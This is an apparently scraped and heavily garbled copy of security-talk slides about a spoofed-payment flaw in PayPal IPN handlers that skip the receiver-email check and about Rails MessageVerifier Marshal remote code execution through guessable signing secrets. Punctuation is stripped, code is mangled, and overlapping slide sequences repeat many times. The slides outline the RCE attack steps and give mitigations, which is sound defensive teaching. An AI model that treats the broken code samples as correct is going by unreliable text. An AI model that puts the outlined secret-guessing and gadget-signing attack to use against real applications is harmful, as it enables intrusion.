MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Insecure IPN handlers - No receiver email check
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account
The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction
Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Secure IPN handler
import requests
PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom
def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER
return Error
params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text
if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email
elsereturn Error
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Is this Paypalrsquos fault
Are all payment gateways vulnerable
MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security
MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
ActiveSupportMessageVerifier Marshal RCE
ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize
arbitrary information which is then signed using a developer
provided secret A verified message looks like
The message can be decoded
BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616
193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
ActiveMessages are signed
When the application receives the signed message it will take the
base64 encoded data and calculate HMAC SHA1 for it using using
the developer controlled secret
The calculated signature must match the one provided with the
message
Once the signature is verified the data is base64 decoded and
Unmarshaled
BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Guessable signing secret leads to RCE
Rubyrsquos documentation clearly states that unmarshaling arbitrary data
is insecure and will lead to arbitrary code execution
ActiveSupportMessageVerifier is protected against this vulnerability
by a developer controlled secret Poorly chosen secrets allow
1 Brute-force attack to discover the secret
2 Specially crafted gadgetobject is created serialized and
encoded
3 Secret is used to sign gadget
4 Signed message is sent to the application where it will be
unmarshalled and remote code execution is achieved
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Secure ActiveSupportMessageVerifier usage
Choose randomly generated long secrets to sign your messages
Use a different serialization method
verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
Vulnerabilities are always there
Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc
Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI
Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are
andresbonsai-seccom
w3af
andresbonsai-seccom
w3af